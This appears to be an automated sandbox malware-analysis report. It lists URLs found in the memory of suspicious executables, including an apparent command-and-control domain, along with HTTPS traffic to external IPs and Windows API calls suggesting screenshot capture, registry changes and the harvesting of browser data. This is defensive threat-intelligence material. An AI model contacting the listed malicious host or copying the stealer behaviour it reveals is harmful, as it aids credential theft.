Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579882796.000000006CDFD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.7.dr, mozglue[1].dll.7.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2578734291.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2572092678.00000000055D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr	String found in binary or memory: http://x1.c.lencr.org/0
Source: Anv6Gbh51e.exe, 00000000.00000003.1898905364.000000000547C000.00000004.00000800.00020000.00000000.sdmp, 3D9A42EE434E7A90.dat.0.dr	String found in binary or memory: http://x1.i.lencr.org/0
Source: Anv6Gbh51e.exe, 00000000.00000003.1790953788.0000000005468000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1790817426.000000000546B000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2995729596.00000000034BA000.00000004.00000800.00020000.00000000.sdmp, 3FF3D9BCB95A413E.dat.0.dr, DAFIEHIE.7.dr, F061999FBC387BE3.dat.21.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_115.10.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_115.10.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: powershell.exe, 0000001A.00000002.2986173845.0000028880040000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2986173845.000002888005D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: chromecache_115.10.dr, chromecache_111.10.dr	String found in binary or memory: https://apis.google.com
Source: Anv6Gbh51e.exe, 00000000.00000003.1924442547.000000000542F000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1924643382.0000000005434000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp, BAKFCBFHJDHJKECAKEHI.7.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Anv6Gbh51e.exe, 00000000.00000003.1924442547.000000000542F000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1924643382.0000000005434000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp, BAKFCBFHJDHJKECAKEHI.7.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Anv6Gbh51e.exe, 00000000.00000003.1790953788.0000000005468000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1790817426.000000000546B000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2995729596.00000000034BA000.00000004.00000800.00020000.00000000.sdmp, 3FF3D9BCB95A413E.dat.0.dr, DAFIEHIE.7.dr, F061999FBC387BE3.dat.21.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Anv6Gbh51e.exe, 00000000.00000003.1790953788.0000000005468000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1790817426.000000000546B000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2995729596.00000000034BA000.00000004.00000800.00020000.00000000.sdmp, 3FF3D9BCB95A413E.dat.0.dr, DAFIEHIE.7.dr, F061999FBC387BE3.dat.21.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Anv6Gbh51e.exe, 00000000.00000003.1790953788.0000000005468000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1790817426.000000000546B000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2995729596.00000000034BA000.00000004.00000800.00020000.00000000.sdmp, 3FF3D9BCB95A413E.dat.0.dr, DAFIEHIE.7.dr, F061999FBC387BE3.dat.21.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_115.10.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_115.10.dr	String found in binary or memory: https://content.googleapis.com
Source: Anv6Gbh51e.exe, 00000000.00000003.1924442547.000000000542F000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1924643382.0000000005434000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp, BAKFCBFHJDHJKECAKEHI.7.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Anv6Gbh51e.exe, 00000000.00000003.1924442547.000000000542F000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1924643382.0000000005434000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp, BAKFCBFHJDHJKECAKEHI.7.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chromecache_115.10.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: Anv6Gbh51e.exe, 00000000.00000003.1790953788.0000000005468000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1790817426.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 3FF3D9BCB95A413E.dat.0.dr, DAFIEHIE.7.dr, F061999FBC387BE3.dat.21.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Anv6Gbh51e.exe, 00000000.00000003.1790953788.0000000005468000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1790817426.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 3FF3D9BCB95A413E.dat.0.dr, DAFIEHIE.7.dr, F061999FBC387BE3.dat.21.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Anv6Gbh51e.exe, 00000000.00000003.1790953788.0000000005468000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1790817426.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 3FF3D9BCB95A413E.dat.0.dr, DAFIEHIE.7.dr, F061999FBC387BE3.dat.21.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_111.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_111.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_111.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_111.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: BAKFCBFHJDHJKECAKEHI.7.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_111.10.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_115.10.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_115.10.dr	String found in binary or memory: https://plus.googleapis.com
Source: Anv6Gbh51e.exe, 00000000.00000003.1787346404.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1950785431.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1950714021.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1813813698.000000000542C000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1813580546.000000000542B000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2986018163.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/
Source: Anv6Gbh51e.exe, 00000000.00000003.1813580546.000000000542B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/.
Source: Anv6Gbh51e.exe, 00000000.00000003.1787194275.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1787346404.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/2
Source: Anv6Gbh51e.exe, 00000000.00000003.1787194275.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1813707831.000000000542B000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1787346404.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1744867889.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2170055967.0000000000D78000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1813813698.000000000542C000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1813580546.000000000542B000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2986018163.0000000000F45000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2986018163.0000000000EA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/api
Source: Anv6Gbh51e.exe, 00000000.00000002.2234180153.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230705512.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2171426967.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/apiB
Source: Anv6Gbh51e.exe, 00000000.00000003.1897446252.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/apimh
Source: Anv6Gbh51e.exe, 00000000.00000003.2170055967.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1950785431.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1950714021.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/bui
Source: Anv6Gbh51e.exe, 00000000.00000003.1924877842.000000000542F000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1924442547.000000000542F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/fe
Source: Anv6Gbh51e.exe, 00000000.00000003.1897020766.000000000542F000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2205385247.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000002.2234421119.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1813580546.000000000542B000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.2230149558.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2986018163.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/pi
Source: Anv6Gbh51e.exe, 00000000.00000003.1813707831.000000000542B000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1813813698.000000000542C000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1813580546.000000000542B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/sm
Source: Anv6Gbh51e.exe, 00000000.00000003.1787194275.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1787346404.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world/x
Source: Anv6Gbh51e.exe, 00000000.00000003.1950785431.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1950714021.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1813854791.0000000000D53000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2986018163.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://presentymusse.world:443/api
Source: Anv6Gbh51e.exe, 00000000.00000003.1788700934.000000000547E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: GIIJEBAECGCBKECAAAEBFBGHJJ.7.dr	String found in binary or memory: https://support.mozilla.org
Source: GIIJEBAECGCBKECAAAEBFBGHJJ.7.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Anv6Gbh51e.exe, 00000000.00000003.1902202614.0000000005548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: GIIJEBAECGCBKECAAAEBFBGHJJ.7.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: Anv6Gbh51e.exe, 00000000.00000003.1788700934.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1788916146.0000000005477000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1788755470.0000000005477000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000003.2395720101.00000000054CE000.00000004.00000020.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000A64000.00000040.00000001.01000000.00000009.sdmp, 001396903F32EA61.dat.0.dr, 241DB5BBFD28464F.dat.21.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Anv6Gbh51e.exe, 00000000.00000003.1788755470.0000000005452000.00000004.00000800.00020000.00000000.sdmp, 001396903F32EA61.dat.0.dr, 241DB5BBFD28464F.dat.21.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Anv6Gbh51e.exe, 00000000.00000003.1788700934.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1788916146.0000000005477000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1788755470.0000000005477000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000003.2395720101.00000000054CE000.00000004.00000020.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000A64000.00000040.00000001.01000000.00000009.sdmp, 001396903F32EA61.dat.0.dr, 241DB5BBFD28464F.dat.21.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Anv6Gbh51e.exe, 00000000.00000003.1788755470.0000000005452000.00000004.00000800.00020000.00000000.sdmp, 001396903F32EA61.dat.0.dr, 241DB5BBFD28464F.dat.21.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000A64000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: chromecache_115.10.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: Anv6Gbh51e.exe, 00000000.00000003.1924442547.000000000542F000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1924643382.0000000005434000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp, BAKFCBFHJDHJKECAKEHI.7.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Anv6Gbh51e.exe, 00000000.00000003.1787194275.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1744867889.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1744831379.0000000000D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: Anv6Gbh51e.exe, 00000000.00000003.1745052699.0000000000D15000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1744867889.0000000000D04000.00000004.00000020.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1744831379.0000000000D4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: softokn3[1].dll.7.dr, mozglue.dll.7.dr, nss3[1].dll.7.dr, freebl3.dll.7.dr, freebl3[1].dll.7.dr, mozglue[1].dll.7.dr, nss3.dll.7.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Anv6Gbh51e.exe, 00000000.00000003.1790953788.0000000005468000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1790817426.000000000546B000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2995729596.00000000034BA000.00000004.00000800.00020000.00000000.sdmp, 3FF3D9BCB95A413E.dat.0.dr, DAFIEHIE.7.dr, F061999FBC387BE3.dat.21.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: rapes.exe, 0000000C.00000002.2987219481.0000000001529000.00000004.00000020.00020000.00000000.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: Anv6Gbh51e.exe, 00000000.00000003.1924442547.000000000542F000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1924643382.0000000005434000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp, BAKFCBFHJDHJKECAKEHI.7.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Anv6Gbh51e.exe, 00000000.00000003.1790953788.0000000005468000.00000004.00000800.00020000.00000000.sdmp, Anv6Gbh51e.exe, 00000000.00000003.1790817426.000000000546B000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX.exe, 00000015.00000002.2995729596.00000000034BA000.00000004.00000800.00020000.00000000.sdmp, 3FF3D9BCB95A413E.dat.0.dr, DAFIEHIE.7.dr, F061999FBC387BE3.dat.21.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_115.10.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_115.10.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_111.10.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_111.10.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_111.10.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: GIIJEBAECGCBKECAAAEBFBGHJJ.7.dr	String found in binary or memory: https://www.mozilla.org
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GIIJEBAECGCBKECAAAEBFBGHJJ.7.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GIIJEBAECGCBKECAAAEBFBGHJJ.7.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: Anv6Gbh51e.exe, 00000000.00000003.1902202614.0000000005548000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000003.2504895846.000000000B831000.00000004.00000020.00020000.00000000.sdmp, GIIJEBAECGCBKECAAAEBFBGHJJ.7.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: GIIJEBAECGCBKECAAAEBFBGHJJ.7.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: Anv6Gbh51e.exe, 00000000.00000003.1902202614.0000000005548000.00000004.00000800.00020000.00000000.sdmp, XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000003.2504895846.000000000B831000.00000004.00000020.00020000.00000000.sdmp, GIIJEBAECGCBKECAAAEBFBGHJJ.7.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2569237945.0000000000B47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.210:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.4:50051 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Code function: 4_2_007461F0 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegQueryInfoKeyW,RegEnumValueA,RegCloseKey,GdiplusStartup,GetDC,RegGetValueA,RegGetValueA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,RegGetValueA,GetSystemMetrics,GetSystemMetrics,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,GdipDisposeImage,GdiplusShutdown,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority,

4_2_007461F0

System Summary

PE file contains section with special chars

Source: Anv6Gbh51e.exe	Static PE information: section name:
